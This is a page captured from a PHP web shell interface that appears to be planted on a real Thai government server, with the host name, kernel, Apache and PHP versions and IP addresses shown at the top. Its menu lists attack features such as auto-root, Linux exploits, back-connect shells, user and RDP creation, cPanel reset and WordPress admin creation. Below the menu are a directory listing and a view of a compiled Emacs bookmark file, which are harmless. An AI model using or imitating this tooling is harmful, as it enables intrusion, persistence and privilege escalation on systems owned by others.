Linux ns8.secondary29.go.th 2.6.32-754.28.1.el6.x86_64 #1 SMP Wed Mar 11 18:38:45 UTC 2020 x86_64
Apache/2.2.15 (CentOS)
: 122.154.134.11 | : 122.154.134.9
Cant Read [ /etc/named.conf ]
5.6.40
apache
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
emacs /
23.1 /
lisp /
[ HOME SHELL ]
Name
Size
Permission
Action
calc
[ DIR ]
drwxr-xr-x
calendar
[ DIR ]
drwxr-xr-x
emacs-lisp
[ DIR ]
drwxr-xr-x
emulation
[ DIR ]
drwxr-xr-x
erc
[ DIR ]
drwxr-xr-x
eshell
[ DIR ]
drwxr-xr-x
gnus
[ DIR ]
drwxr-xr-x
international
[ DIR ]
drwxr-xr-x
language
[ DIR ]
drwxr-xr-x
mail
[ DIR ]
drwxr-xr-x
mh-e
[ DIR ]
drwxr-xr-x
net
[ DIR ]
drwxr-xr-x
nxml
[ DIR ]
drwxr-xr-x
obsolete
[ DIR ]
drwxr-xr-x
org
[ DIR ]
drwxr-xr-x
play
[ DIR ]
drwxr-xr-x
progmodes
[ DIR ]
drwxr-xr-x
term
[ DIR ]
drwxr-xr-x
textmodes
[ DIR ]
drwxr-xr-x
url
[ DIR ]
drwxr-xr-x
COPYING
34.32
KB
-rw-r--r--
README
538
B
-rw-r--r--
abbrev.elc
29.69
KB
-rw-r--r--
abbrevlist.elc
1.12
KB
-rw-r--r--
add-log.elc
35.21
KB
-rw-r--r--
align.elc
38.38
KB
-rw-r--r--
allout.elc
208.3
KB
-rw-r--r--
ansi-color.elc
16.3
KB
-rw-r--r--
apropos.elc
31.93
KB
-rw-r--r--
arc-mode.elc
54.72
KB
-rw-r--r--
array.elc
25.83
KB
-rw-r--r--
autoarg.elc
5.98
KB
-rw-r--r--
autoinsert.elc
12.01
KB
-rw-r--r--
autorevert.elc
18.25
KB
-rw-r--r--
avoid.elc
10.17
KB
-rw-r--r--
battery.elc
17.98
KB
-rw-r--r--
bindings.elc
39.04
KB
-rw-r--r--
bookmark.elc
55.9
KB
-rw-r--r--
bs.elc
48.34
KB
-rw-r--r--
buff-menu.elc
28
KB
-rw-r--r--
button.elc
13.92
KB
-rw-r--r--
calculator.elc
49.18
KB
-rw-r--r--
case-table.elc
4.42
KB
-rw-r--r--
cdl.elc
1.26
KB
-rw-r--r--
chistory.elc
5.75
KB
-rw-r--r--
cmuscheme.elc
17.43
KB
-rw-r--r--
comint.elc
100.97
KB
-rw-r--r--
compare-w.elc
10.98
KB
-rw-r--r--
complete.elc
23.62
KB
-rw-r--r--
completion.elc
45.06
KB
-rw-r--r--
composite.elc
29.39
KB
-rw-r--r--
cus-dep.elc
5.04
KB
-rw-r--r--
cus-edit.elc
129.67
KB
-rw-r--r--
cus-face.elc
10.46
KB
-rw-r--r--
cus-load.el
63.45
KB
-rw-r--r--
cus-start.elc
10.67
KB
-rw-r--r--
cus-theme.elc
13.7
KB
-rw-r--r--
custom.elc
36.46
KB
-rw-r--r--
cvs-status.elc
23
KB
-rw-r--r--
dabbrev.elc
23.08
KB
-rw-r--r--
delim-col.elc
8.41
KB
-rw-r--r--
delsel.elc
5.24
KB
-rw-r--r--
descr-text.elc
20.69
KB
-rw-r--r--
desktop.elc
34.52
KB
-rw-r--r--
dframe.elc
22.51
KB
-rw-r--r--
diff-mode.elc
55.58
KB
-rw-r--r--
diff.elc
5.51
KB
-rw-r--r--
dired-aux.elc
67.5
KB
-rw-r--r--
dired-x.elc
44.96
KB
-rw-r--r--
dired.elc
96.48
KB
-rw-r--r--
dirtrack.elc
7.39
KB
-rw-r--r--
disp-table.elc
8.33
KB
-rw-r--r--
dnd.elc
7.04
KB
-rw-r--r--
doc-view.elc
36.01
KB
-rw-r--r--
dos-fns.elc
5.53
KB
-rw-r--r--
dos-vars.elc
1.24
KB
-rw-r--r--
dos-w32.elc
11.12
KB
-rw-r--r--
double.elc
4.13
KB
-rw-r--r--
ebuff-menu.elc
9.11
KB
-rw-r--r--
echistory.elc
4.93
KB
-rw-r--r--
ediff-diff.elc
35.54
KB
-rw-r--r--
ediff-help.elc
11.47
KB
-rw-r--r--
ediff-hook.elc
5.89
KB
-rw-r--r--
ediff-init.elc
60.88
KB
-rw-r--r--
ediff-merg.elc
10.04
KB
-rw-r--r--
ediff-mult.elc
58.31
KB
-rw-r--r--
ediff-ptch.elc
18.63
KB
-rw-r--r--
ediff-util.elc
118.44
KB
-rw-r--r--
ediff-vers.elc
4.74
KB
-rw-r--r--
ediff-wind.elc
30.56
KB
-rw-r--r--
ediff.elc
36.28
KB
-rw-r--r--
edmacro.elc
21.45
KB
-rw-r--r--
ehelp.elc
11.03
KB
-rw-r--r--
electric.elc
2.81
KB
-rw-r--r--
elide-head.elc
2.8
KB
-rw-r--r--
emacs-lock.elc
2.77
KB
-rw-r--r--
emerge.elc
80.16
KB
-rw-r--r--
env.elc
5.69
KB
-rw-r--r--
epa-dired.elc
1.87
KB
-rw-r--r--
epa-file.elc
6.77
KB
-rw-r--r--
epa-hook.elc
4.28
KB
-rw-r--r--
epa-mail.elc
7.04
KB
-rw-r--r--
epa.elc
34.03
KB
-rw-r--r--
epg-config.elc
4.01
KB
-rw-r--r--
epg.elc
85.05
KB
-rw-r--r--
expand.elc
9.42
KB
-rw-r--r--
ezimage.elc
9.2
KB
-rw-r--r--
face-remap.elc
13.15
KB
-rw-r--r--
facemenu.elc
23.61
KB
-rw-r--r--
faces.elc
81.51
KB
-rw-r--r--
ffap.elc
46.14
KB
-rw-r--r--
filecache.elc
16.1
KB
-rw-r--r--
files.elc
175.25
KB
-rw-r--r--
filesets.elc
73.03
KB
-rw-r--r--
find-cmd.elc
4.94
KB
-rw-r--r--
find-dired.elc
7.4
KB
-rw-r--r--
find-file.elc
18.68
KB
-rw-r--r--
find-lisp.elc
7.42
KB
-rw-r--r--
finder-inf.el
93.47
KB
-rw-r--r--
finder.elc
12.11
KB
-rw-r--r--
flow-ctrl.elc
2.44
KB
-rw-r--r--
foldout.elc
7.6
KB
-rw-r--r--
follow.elc
37.11
KB
-rw-r--r--
font-core.elc
12.92
KB
-rw-r--r--
font-lock.elc
61.1
KB
-rw-r--r--
format-spec.elc
1.98
KB
-rw-r--r--
format.elc
27.73
KB
-rw-r--r--
forms-d2.el
3.13
KB
-rw-r--r--
forms-pass.el
742
B
-rw-r--r--
forms.elc
35.13
KB
-rw-r--r--
frame.elc
48.66
KB
-rw-r--r--
fringe.elc
8.01
KB
-rw-r--r--
generic-x.elc
44.25
KB
-rw-r--r--
gs.elc
3.93
KB
-rw-r--r--
help-at-pt.elc
11.27
KB
-rw-r--r--
help-fns.elc
21.77
KB
-rw-r--r--
help-macro.elc
4.37
KB
-rw-r--r--
help-mode.elc
19.38
KB
-rw-r--r--
help.elc
40.91
KB
-rw-r--r--
hex-util.elc
1.48
KB
-rw-r--r--
hexl.elc
32.06
KB
-rw-r--r--
hi-lock.elc
23.27
KB
-rw-r--r--
hilit-chg.elc
28.02
KB
-rw-r--r--
hippie-exp.elc
23.39
KB
-rw-r--r--
hl-line.elc
7.71
KB
-rw-r--r--
ibuf-ext.elc
54.62
KB
-rw-r--r--
ibuf-macs.elc
11.65
KB
-rw-r--r--
ibuffer.elc
91.96
KB
-rw-r--r--
icomplete.elc
10.36
KB
-rw-r--r--
ido.elc
110.93
KB
-rw-r--r--
ielm.elc
17.67
KB
-rw-r--r--
iimage.elc
4.06
KB
-rw-r--r--
image-dired.elc
82.24
KB
-rw-r--r--
image-file.elc
6.11
KB
-rw-r--r--
image-mode.elc
14.54
KB
-rw-r--r--
image.elc
17.09
KB
-rw-r--r--
imenu.elc
24.8
KB
-rw-r--r--
indent.elc
17
KB
-rw-r--r--
info-look.elc
26.13
KB
-rw-r--r--
info-xref.elc
7.04
KB
-rw-r--r--
info.elc
119.11
KB
-rw-r--r--
informat.elc
9.69
KB
-rw-r--r--
isearch.elc
76.23
KB
-rw-r--r--
isearchb.elc
4.92
KB
-rw-r--r--
iswitchb.elc
32.11
KB
-rw-r--r--
jit-lock.elc
17.93
KB
-rw-r--r--
jka-cmpr-hook.elc
11.67
KB
-rw-r--r--
jka-compr.elc
12.64
KB
-rw-r--r--
json.elc
13.04
KB
-rw-r--r--
kermit.elc
2.96
KB
-rw-r--r--
kmacro.elc
31.07
KB
-rw-r--r--
ldefs-boot.el
1.17
MB
-rw-r--r--
ledit.elc
4.74
KB
-rw-r--r--
linum.elc
9.56
KB
-rw-r--r--
loaddefs.el
1.17
MB
-rw-r--r--
loadhist.elc
8.65
KB
-rw-r--r--
loadup.el
12.67
KB
-rw-r--r--
locate.elc
17.81
KB
-rw-r--r--
log-edit.elc
24.93
KB
-rw-r--r--
log-view.elc
14.06
KB
-rw-r--r--
longlines.elc
14.94
KB
-rw-r--r--
lpr.elc
8.61
KB
-rw-r--r--
ls-lisp.elc
17.35
KB
-rw-r--r--
macros.elc
6.99
KB
-rw-r--r--
makesum.elc
2.16
KB
-rw-r--r--
man.elc
40.03
KB
-rw-r--r--
master.elc
4.52
KB
-rw-r--r--
mb-depth.elc
3.12
KB
-rw-r--r--
md4.elc
8.14
KB
-rw-r--r--
menu-bar.elc
67.01
KB
-rw-r--r--
midnight.elc
8.92
KB
-rw-r--r--
minibuf-eldef.elc
5.15
KB
-rw-r--r--
minibuffer.elc
42.75
KB
-rw-r--r--
misc.elc
3.67
KB
-rw-r--r--
misearch.elc
8.96
KB
-rw-r--r--
mouse-copy.elc
4.07
KB
-rw-r--r--
mouse-drag.elc
7.33
KB
-rw-r--r--
mouse-sel.elc
20.93
KB
-rw-r--r--
mouse.elc
60.03
KB
-rw-r--r--
msb.elc
27.27
KB
-rw-r--r--
mwheel.elc
9.41
KB
-rw-r--r--
newcomment.elc
32.76
KB
-rw-r--r--
novice.elc
4.75
KB
-rw-r--r--
outline.elc
34.54
KB
-rw-r--r--
paren.elc
6.43
KB
-rw-r--r--
password-cache.elc
3.58
KB
-rw-r--r--
patcomp.el
775
B
-rw-r--r--
paths.el
7.28
KB
-rw-r--r--
pcmpl-cvs.elc
6
KB
-rw-r--r--
pcmpl-gnu.elc
8.21
KB
-rw-r--r--
pcmpl-linux.elc
3.17
KB
-rw-r--r--
pcmpl-rpm.elc
7.5
KB
-rw-r--r--
pcmpl-unix.elc
5.44
KB
-rw-r--r--
pcomplete.elc
34.1
KB
-rw-r--r--
pcvs-defs.elc
16.27
KB
-rw-r--r--
pcvs-info.elc
25.83
KB
-rw-r--r--
pcvs-parse.elc
15.34
KB
-rw-r--r--
pcvs-util.elc
26.8
KB
-rw-r--r--
pcvs.elc
85.52
KB
-rw-r--r--
pgg-def.elc
2.78
KB
-rw-r--r--
pgg-gpg.elc
13.09
KB
-rw-r--r--
pgg-parse.elc
13.45
KB
-rw-r--r--
pgg-pgp.elc
7.64
KB
-rw-r--r--
pgg-pgp5.elc
7.68
KB
-rw-r--r--
pgg.elc
18.01
KB
-rw-r--r--
printing.elc
157.56
KB
-rw-r--r--
proced.elc
57.95
KB
-rw-r--r--
ps-bdf.elc
13.34
KB
-rw-r--r--
ps-def.elc
3.09
KB
-rw-r--r--
ps-mule.elc
36.17
KB
-rw-r--r--
ps-print.elc
145.59
KB
-rw-r--r--
ps-samp.elc
5.5
KB
-rw-r--r--
recentf.elc
49.04
KB
-rw-r--r--
rect.elc
10.79
KB
-rw-r--r--
register.elc
10.69
KB
-rw-r--r--
repeat.elc
6.05
KB
-rw-r--r--
replace.elc
55.02
KB
-rw-r--r--
reposition.elc
2.88
KB
-rw-r--r--
reveal.elc
6.61
KB
-rw-r--r--
rfn-eshadow.elc
7.12
KB
-rw-r--r--
rot13.elc
2.6
KB
-rw-r--r--
ruler-mode.elc
22.48
KB
-rw-r--r--
s-region.elc
3.3
KB
-rw-r--r--
savehist.elc
10.57
KB
-rw-r--r--
saveplace.elc
7.51
KB
-rw-r--r--
sb-image.elc
2.51
KB
-rw-r--r--
scroll-all.elc
4.05
KB
-rw-r--r--
scroll-bar.elc
11.47
KB
-rw-r--r--
scroll-lock.elc
4.64
KB
-rw-r--r--
select.elc
11.8
KB
-rw-r--r--
server.elc
39.79
KB
-rw-r--r--
ses.elc
87.39
KB
-rw-r--r--
sha1.elc
8
KB
-rw-r--r--
shadowfile.elc
22.61
KB
-rw-r--r--
shell.elc
34.08
KB
-rw-r--r--
simple.elc
196.35
KB
-rw-r--r--
skeleton.elc
15.78
KB
-rw-r--r--
smerge-mode.elc
33.61
KB
-rw-r--r--
sort.elc
12.94
KB
-rw-r--r--
soundex.elc
1.34
KB
-rw-r--r--
speedbar.elc
115.06
KB
-rw-r--r--
startup.elc
60.78
KB
-rw-r--r--
strokes.elc
44.11
KB
-rw-r--r--
subdirs.el
426
B
-rw-r--r--
subr.elc
113.48
KB
-rw-r--r--
t-mouse.elc
3.38
KB
-rw-r--r--
tabify.elc
2
KB
-rw-r--r--
talk.elc
3.19
KB
-rw-r--r--
tar-mode.elc
52.24
KB
-rw-r--r--
tempo.elc
18.63
KB
-rw-r--r--
term.elc
99.67
KB
-rw-r--r--
terminal.elc
31.36
KB
-rw-r--r--
thingatpt.elc
10.84
KB
-rw-r--r--
thumbs.elc
26.23
KB
-rw-r--r--
time-stamp.elc
21.03
KB
-rw-r--r--
time.elc
18.2
KB
-rw-r--r--
timezone.elc
10.99
KB
-rw-r--r--
tmm.elc
13.9
KB
-rw-r--r--
tool-bar.elc
9.69
KB
-rw-r--r--
tooltip.elc
12.35
KB
-rw-r--r--
tree-widget.elc
20.87
KB
-rw-r--r--
tutorial.elc
21.41
KB
-rw-r--r--
type-break.elc
35.61
KB
-rw-r--r--
uniquify.elc
19.91
KB
-rw-r--r--
userlock.elc
4.69
KB
-rw-r--r--
vc-annotate.elc
22.68
KB
-rw-r--r--
vc-arch.elc
17.58
KB
-rw-r--r--
vc-bzr.elc
26.84
KB
-rw-r--r--
vc-cvs.elc
32.19
KB
-rw-r--r--
vc-dav.elc
5.3
KB
-rw-r--r--
vc-dir.elc
39.5
KB
-rw-r--r--
vc-dispatcher.elc
14.61
KB
-rw-r--r--
vc-git.elc
32.75
KB
-rw-r--r--
vc-hg.elc
25.95
KB
-rw-r--r--
vc-hooks.elc
32.75
KB
-rw-r--r--
vc-mtn.elc
10.95
KB
-rw-r--r--
vc-rcs.elc
34.99
KB
-rw-r--r--
vc-sccs.elc
13.24
KB
-rw-r--r--
vc-svn.elc
20.57
KB
-rw-r--r--
vc.elc
59.4
KB
-rw-r--r--
vcursor.elc
23.44
KB
-rw-r--r--
version.el
3.37
KB
-rw-r--r--
view.elc
35.96
KB
-rw-r--r--
vt-control.elc
2.06
KB
-rw-r--r--
vt100-led.elc
1.53
KB
-rw-r--r--
w32-fns.elc
15.82
KB
-rw-r--r--
w32-vars.elc
5.53
KB
-rw-r--r--
wdired.elc
21.69
KB
-rw-r--r--
whitespace.elc
59.83
KB
-rw-r--r--
wid-browse.elc
7.89
KB
-rw-r--r--
wid-edit.elc
104.76
KB
-rw-r--r--
widget.elc
1.37
KB
-rw-r--r--
windmove.elc
9.57
KB
-rw-r--r--
window.elc
57.4
KB
-rw-r--r--
winner.elc
11.61
KB
-rw-r--r--
woman.elc
107.73
KB
-rw-r--r--
x-dnd.elc
19.35
KB
-rw-r--r--
xml.elc
18.38
KB
-rw-r--r--
xt-mouse.elc
7.43
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : bookmark.elc
;ELC ;;; Compiled by mockbuild@c6b8.bsys.dev.centos.org on Thu Feb 19 13:02:33 2015 ;;; from file /builddir/build/BUILD/emacs-23.1/lisp/bookmark.el ;;; in Emacs version 23.1.1 ;;; with all optimizations. ;;; This file uses dynamic docstrings, first added in Emacs 19.29. (if (and (boundp 'emacs-version) (< (aref emacs-version (1- (length emacs-version))) ?A) (or (and (boundp 'epoch::version) epoch::version) (string-lessp emacs-version "19.29"))) (error "`bookmark.el' was compiled for Emacs 19.29 or later")) ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; (byte-code "\300\301!\210\302\303\304\305\306\307%\207" [require pp custom-declare-group bookmark nil "Setting, annotation and jumping to bookmarks." :group matching] 6) #@70 If non-nil, saving a bookmark queries for an annotation in a buffer. (custom-declare-variable 'bookmark-use-annotations 'nil '(#$ . 777) :type 'boolean :group 'bookmark) #@784 Controls when Emacs saves bookmarks to a file. --> nil means never save bookmarks, except when `bookmark-save' is explicitly called (\[bookmark-save]). --> t means save bookmarks when Emacs is killed. --> Otherwise, it should be a number that is the frequency with which the bookmark list is saved (i.e.: the number of times which Emacs' bookmark list may be modified before it is automatically saved.). If it is a number, Emacs will also automatically save bookmarks when it is killed. Therefore, the way to get it to save every time you make or delete a bookmark is to set this variable to 1 (or 0, which produces the same behavior.) To specify the file in which to save them, modify the variable `bookmark-default-file', which is `~/.emacs.bmk' by default. (custom-declare-variable 'bookmark-save-flag 't '(#$ . 954) :type '(choice (const nil) integer (other t)) :group 'bookmark) #@52 The `.emacs.bmk' file used to be called this name. (defconst bookmark-old-default-file "~/.emacs-bkmrks" (#$ . 1867)) #@39 Old name for `bookmark-default-file'. (defvar bookmark-file nil (#$ . 1991)) #@45 File in which to save bookmarks by default. (custom-declare-variable 'bookmark-default-file '(if bookmark-file bookmark-file (convert-standard-filename "~/.emacs.bmk")) '(#$ . 2074) :type 'file :group 'bookmark) #@288 Whether or not to make numbered backups of the bookmark file. It can have four values: t, nil, `never', and `nospecial'. The first three have the same meaning that they do for the variable `version-control', and the final value `nospecial' means just use the value of `version-control'. (custom-declare-variable 'bookmark-version-control ''nospecial '(#$ . 2293) :type '(choice (const nil) (const never) (const nospecial) (other t)) :group 'bookmark) #@61 Non-nil means bookmark functions ignore case in completion. (custom-declare-variable 'bookmark-completion-ignore-case 't '(#$ . 2750) :type 'boolean :group 'bookmark) #@189 Non-nil means that bookmarks will be displayed sorted by bookmark name. Otherwise they will be displayed in LIFO order (that is, most recently set ones come first, oldest ones come last). (custom-declare-variable 'bookmark-sort-flag 't '(#$ . 2924) :type 'boolean :group 'bookmark) #@60 Non-nil means show annotations when jumping to a bookmark. (custom-declare-variable 'bookmark-automatically-show-annotations 't '(#$ . 3212) :type 'boolean :group 'bookmark) #@175 Column at which to display filenames in a buffer listing bookmarks. You can toggle whether files are shown with \<bookmark-bmenu-mode-map>\[bookmark-bmenu-toggle-filenames]. (custom-declare-variable 'bookmark-bmenu-file-column '30 '(#$ . 3393) :type 'integer :group 'bookmark) #@202 Non-nil means show filenames when listing bookmarks. This may result in truncated bookmark names. To disable this, put the following in your `.emacs' file: (setq bookmark-bmenu-toggle-filenames nil) (custom-declare-variable 'bookmark-bmenu-toggle-filenames 't '(#$ . 3677) :type 'boolean :group 'bookmark) #@62 Maximum length of a bookmark name displayed on a popup menu. (custom-declare-variable 'bookmark-menu-length '70 '(#$ . 3991) :type 'integer :group 'bookmark) (byte-code "\300\301\302\303\304\305\306\307&\210\310\311!\204 \311\312M\210\310\313!\204 \311\313\314\"\210\300\207" [custom-declare-face bookmark-menu-heading ((t (:inherit font-lock-type-face))) "Face used to highlight the heading in bookmark menu buffers." :group bookmark :version "22.1" fboundp defalias fset frame-height screen-height] 8) #@279 Keymap containing bindings to bookmark functions. It is not bound to any key by default: to bind it so that you have a bookmark prefix, just use `global-set-key' and bind a key of your choice to `bookmark-map'. All interactive bookmark functions have a binding in this keymap. (defvar bookmark-map (byte-code "\301 \302\303\304#\210\302\305\304#\210\302\306\307#\210\302\310\307#\210\302\311\312#\210\302\313\314#\210\302\315\316#\210\302\317\320#\210\302\321\322#\210\302\323\324#\210\302\325\326#\210\302\327\330#\210\302\331\332#\210)\207" [map make-sparse-keymap define-key "x" bookmark-set "m" "j" bookmark-jump "g" "o" bookmark-jump-other-window "i" bookmark-insert "e" edit-bookmarks "f" bookmark-insert-location "r" bookmark-rename "d" bookmark-delete "l" bookmark-load "w" bookmark-write "s" bookmark-save] 4) (#$ . 4505)) #@590 Association list of bookmarks and their records. You probably don't want to change the value of this alist yourself; instead, let the various bookmark functions do it for you. The format of the alist is (BOOKMARK1 BOOKMARK2 ...) where each BOOKMARK is of the form (NAME PARAM-ALIST) or (NAME . PARAM-ALIST) where the first form is the old deprecated one and the second is the new favored one. PARAM-ALIST is typically of the form: ((filename . FILE) (front-context-string . FRONT-STR) (rear-context-string . REAR-STR) (position . POS) (annotation . ANNOTATION))) (defvar bookmark-alist nil (#$ . 5360)) (byte-code "\301B\302\301!\204 \303\301\304\"\210\304\207" [current-load-list bookmarks-already-loaded default-boundp set-default nil] 3) #@140 Name of bookmark most recently used in the current file. It is buffer local, used to make moving a bookmark forward through a file easier. (defvar bookmark-current-bookmark nil (#$ . 6137)) (make-variable-buffer-local 'bookmark-current-bookmark) #@67 Number of modifications to bookmark list since it was last saved. (defvar bookmark-alist-modification-count 0 (#$ . 6389)) #@70 Length of the context strings recorded on either side of a bookmark. (defvar bookmark-search-size 16 (#$ . 6518)) (byte-code "\301B\302\301!\204 \303\301\304\"\210\305B\302\305!\204 \303\305\304\"\210\306B\302\306!\204- \303\306\307\"\210\307\207" [current-load-list bookmark-current-point default-boundp set-default 0 bookmark-yank-point bookmark-current-buffer nil] 3) #@68 Return name of FULL-RECORD (an alist element instead of a string). (defalias 'bookmark-name-from-full-record #[(full-record) "@\207" [full-record] 1 (#$ . 6903)]) #@46 Return a list of all current bookmark names. (defalias 'bookmark-all-names #[nil "\301 \210\302\303\"\207" [bookmark-alist bookmark-maybe-load-default-file mapcar bookmark-name-from-full-record] 3 (#$ . 7073)]) #@180 Return the bookmark record corresponding to BOOKMARK. If BOOKMARK is already a bookmark record, just return it, Otherwise look for the corresponding bookmark in `bookmark-alist'. (defalias 'bookmark-get-bookmark #[(bookmark &optional noerror) ":\203 \207;\205 \304 \n#\206 ?\205 \305\306\"\207" [bookmark bookmark-alist bookmark-completion-ignore-case noerror assoc-string error "Invalid bookmark %s"] 4 (#$ . 7292)]) #@103 Return the guts of the entry for BOOKMARK in `bookmark-alist'. That is, all information but the name. (defalias 'bookmark-get-bookmark-record #[(bookmark) "\303!A\211A\204 \211@@):\203 @\202 )\207" [bookmark alist x bookmark-get-bookmark] 3 (#$ . 7727)]) #@33 Set BOOKMARK's name to NEWNAME. (defalias 'bookmark-set-name #[(bookmark newname) ";\203 \302!\202\f \240\207" [bookmark newname bookmark-get-bookmark] 2 (#$ . 7997)]) #@55 Return the property PROP of BOOKMARK, or nil if none. (defalias 'bookmark-prop-get #[(bookmark prop) "\302 !\236A\207" [prop bookmark bookmark-get-bookmark-record] 3 (#$ . 8176)]) #@43 Set the property PROP of BOOKMARK to VAL. (defalias 'bookmark-prop-set #[(bookmark prop val) "\304 !\236\211\203 \n\241\202 \304 !BC\244)\207" [prop bookmark cell val bookmark-get-bookmark-record] 4 (#$ . 8363)]) #@52 Return the annotation of BOOKMARK, or nil if none. (defalias 'bookmark-get-annotation #[(bookmark) "\301\302\"\207" [bookmark bookmark-prop-get annotation] 3 (#$ . 8589)]) #@40 Set the annotation of BOOKMARK to ANN. (defalias 'bookmark-set-annotation #[(bookmark ann) "\302\303 #\207" [bookmark ann bookmark-prop-set annotation] 4 (#$ . 8768)]) #@39 Return the full filename of BOOKMARK. (defalias 'bookmark-get-filename #[(bookmark) "\301\302\"\207" [bookmark bookmark-prop-get filename] 3 (#$ . 8943)]) #@48 Set the full filename of BOOKMARK to FILENAME. (defalias 'bookmark-set-filename #[(bookmark filename) "\302\301 #\207" [bookmark filename bookmark-prop-set] 4 (#$ . 9105)]) #@48 Return the position (i.e.: point) of BOOKMARK. (defalias 'bookmark-get-position #[(bookmark) "\301\302\"\207" [bookmark bookmark-prop-get position] 3 (#$ . 9285)]) #@57 Set the position (i.e.: point) of BOOKMARK to POSITION. (defalias 'bookmark-set-position #[(bookmark position) "\302\301 #\207" [bookmark position bookmark-prop-set] 4 (#$ . 9456)]) #@46 Return the front-context-string of BOOKMARK. (defalias 'bookmark-get-front-context-string #[(bookmark) "\301\302\"\207" [bookmark bookmark-prop-get front-context-string] 3 (#$ . 9645)]) #@53 Set the front-context-string of BOOKMARK to STRING. (defalias 'bookmark-set-front-context-string #[(bookmark string) "\302\303 #\207" [bookmark string bookmark-prop-set front-context-string] 4 (#$ . 9838)]) #@45 Return the rear-context-string of BOOKMARK. (defalias 'bookmark-get-rear-context-string #[(bookmark) "\301\302\"\207" [bookmark bookmark-prop-get rear-context-string] 3 (#$ . 10052)]) #@52 Set the rear-context-string of BOOKMARK to STRING. (defalias 'bookmark-set-rear-context-string #[(bookmark string) "\302\303 #\207" [bookmark string bookmark-prop-set rear-context-string] 4 (#$ . 10243)]) (defalias 'bookmark-get-handler #[(bookmark) "\301\302\"\207" [bookmark bookmark-prop-get handler] 3]) #@42 The history list for bookmark functions. (defvar bookmark-history nil (#$ . 10559)) #@255 Prompting with PROMPT, read a bookmark name in completion. PROMPT will get a ": " stuck on the end no matter what, so you probably don't want to include one yourself. Optional second arg DEFAULT is a string to return if the user enters the empty string. (defalias 'bookmark-completing-read #[(prompt &optional default) "\306 \210<\203 \307\310 \311 #\207\n\f\211\203 \312\313\f\"P\202# \314P\315 \316\317\316\320&\211\321\230\2039 \f\202; ,\207" [last-nonmenu-event prompt bookmark-completion-ignore-case completion-ignore-case default bookmark-alist bookmark-maybe-load-default-file bookmark-menu-popup-paned-menu t bookmark-all-names format " (%s): " ": " completing-read nil 0 bookmark-history "" str] 8 (#$ . 10650)]) #@215 Put STRING into the bookmark prompt history, if caller non-interactive. We need this because sometimes bookmark functions are invoked from menus, so `completing-read' never gets a chance to set `bookmark-history'. (defalias 'bookmark-maybe-historicize-string '(macro . #[(string) "\301\302\303\304\305\306BBEE\207" [string or (interactive-p) setq bookmark-history cons (bookmark-history)] 7 (#$ . 11393)])) #@964 A function that should be called to create a bookmark record. Modes may set this variable buffer-locally to enable bookmarking of locations that should be treated specially, such as Info nodes, news posts, images, pdf documents, etc. The function will be called with no arguments. It should signal a user error if it is unable to construct a record for the current location. The returned record should be a cons cell of the form (NAME . ALIST) where ALIST is as described in `bookmark-alist' and may typically contain a special cons (handler . SOME-FUNCTION) which sets the handler function that should be used to open this bookmark instead of `bookmark-default-handler'. The handler should follow the same calling convention as the one used by `bookmark-default-handler'. NAME is a suggested name for the constructed bookmark. It can be nil in which case a default heuristic will be used. The function can also equivalently just return ALIST without NAME. (defvar bookmark-make-record-function 'bookmark-make-record-default (#$ . 11808)) #@71 Return a new bookmark record (NAME . ALIST) for the current location. (defalias 'bookmark-make-record #[nil " \211@;\203 \202 @\203 \303 B \n\206 \304 \240\210 )\207" [bookmark-make-record-function record bookmark-current-bookmark nil bookmark-buffer-name] 3 (#$ . 12859)]) #@202 Store the bookmark NAME with data ALIST. If NO-OVERWRITE is non-nil and another bookmark of the same name already exists in `bookmark-alist', record the new bookmark without throwing away the old one. (defalias 'bookmark-store #[(name alist no-overwrite) "\306 \210\307!\310\311 G\312 $\210\n\204# \313 \314\"\203# \313 !\241\210\202) B\fB T\315 \2038 \316 \210 \317 )\207" [name stripped-name no-overwrite alist bookmark-alist bookmark-current-bookmark bookmark-maybe-load-default-file copy-sequence set-text-properties 0 nil bookmark-get-bookmark noerror bookmark-time-to-save-p bookmark-save bookmark-bmenu-surreptitiously-rebuild-list bookmark-alist-modification-count] 5 (#$ . 13149)]) #@261 Return the record describing the location of a new bookmark. Must be at the correct position in the buffer in which the bookmark is being set. If POINT-ONLY is non-nil, then only return the subset of the record that pertains to the location within the buffer. (defalias 'bookmark-make-record-default #[(&optional point-only) "\302?\205 \303\304 BC\305d`Z Y\205 \306`` \\\"B\307`eZ Y\205* \306`` Z\"B\310`BE\"\207" [point-only bookmark-search-size append filename bookmark-buffer-file-name front-context-string buffer-substring-no-properties rear-context-string position] 8 (#$ . 13859)]) #@97 The current version of the format used by bookmark files. You should never need to change this. (defconst bookmark-file-format-version 1 (#$ . 14456)) #@68 This string marks the end of the version stamp in a bookmark file. (defconst bookmark-end-of-version-stamp-marker "-*- End Of Bookmark File Format Version Stamp -*-\n" (#$ . 14613)) #@211 Return a `bookmark-alist' (in any format) from the current buffer. The buffer must of course contain bookmark format information. Does not care from where in the buffer it is called, and does not affect point. (defalias 'bookmark-alist-from-buffer #[nil "\212eb\210\301\302\303#\203 \304p!\202&